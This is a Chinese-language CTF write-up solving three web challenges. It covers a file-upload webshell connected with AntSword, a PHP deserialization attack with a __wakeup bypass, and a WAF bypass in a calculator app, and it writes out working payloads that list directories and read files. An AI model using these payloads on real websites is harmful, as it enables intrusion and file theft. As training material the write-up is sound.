[ACTF2020 新生赛]Upload
文件上传题,先上传了一张图片,上传成功,并给出了文件位置,文件名被加密了,不过没有关系。
上传上次做好的图片马看看,被限制了,那就抓包发。
几乎没有什么变化,可以看到上传成功,位置也给出来了,访问一下。
看来木马可以使用,连上蚁剑找flag。
根目录下找到flag,简简单单。
[极客大挑战 2019]PHP
进入页面,看到一只喵喵,可以用线球去逗它,但是重点还是出题者的这句话,既然备份了网站,
那我们可以试试扫描下目录。
用御剑啥也没扫出来,没有头绪了看看大佬们的解法找到一个www.zip这个备份网站压缩包,那现在就着重分析代码了。
在index.php中找到这么一串代码,分析下,主要是通过get传输参数‘select’并将其反序列化后给res,所以我们传入的参数得要事先使用serialize()函数序列化一边。
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
在class.php中,我们传入的参数要有username与password,且满足以下条件(写注释里了)。
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';//在这定义两个类
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';//对于输入的username都赋予‘guest’
}
function __destruct(){
if ($this->password != 100) {//判断password的长度,等于100为真,其他为假
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {//只有当username等于‘admin’时输出flag
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
这时候要提一点,private 赋值的属性被序列化后属性名会变成\0类名\0字段名,所以序列化后添加即可,且由于_wakeup()会强制改变username的值,只有当对象属性的个数的值大于真实的属性个数的时候会跳过__wakeup的执行,把name后面的数字2改为大于2的数字,接下来用php写一段序列化代码。
<?php
$strings = array("username", "admin", "password");
// 序列化字符串数组
$serializedStrings = serialize($strings);
// 输出序列化后的字符串
echo $serializedStrings;
?>
修改后如下,赋值给 select得到flag
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[RoarCTF 2019]Easy Calc
进入页面是一个计算器,测试了一下,只要输入字母与字符都会被栏住,先看下源码。
看来添加了waf,最后看到了一个 calc.php页面,可以去看看。
看到源码,主要可以通过num传入一个参数,但是过滤了大量符号,想想怎么构造paylaod。
后来发现只要num为数字外的其他数,都会直接进不去,看来是waf的过滤原则起作用了。
这时候找到一个方法,通过在num前加一个空隔就可绕过waf的检测,同时php在解析语句时会自己删除前面的空格,这时候构造paylaod。
用括号代替空格,chr(47)代替“\”来遍历一下网站文件目录
? num=var_dump(scandir(chr(47)))
看到一个f1agg,估计就是它了,构造语句去读它。
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
成功读到flag。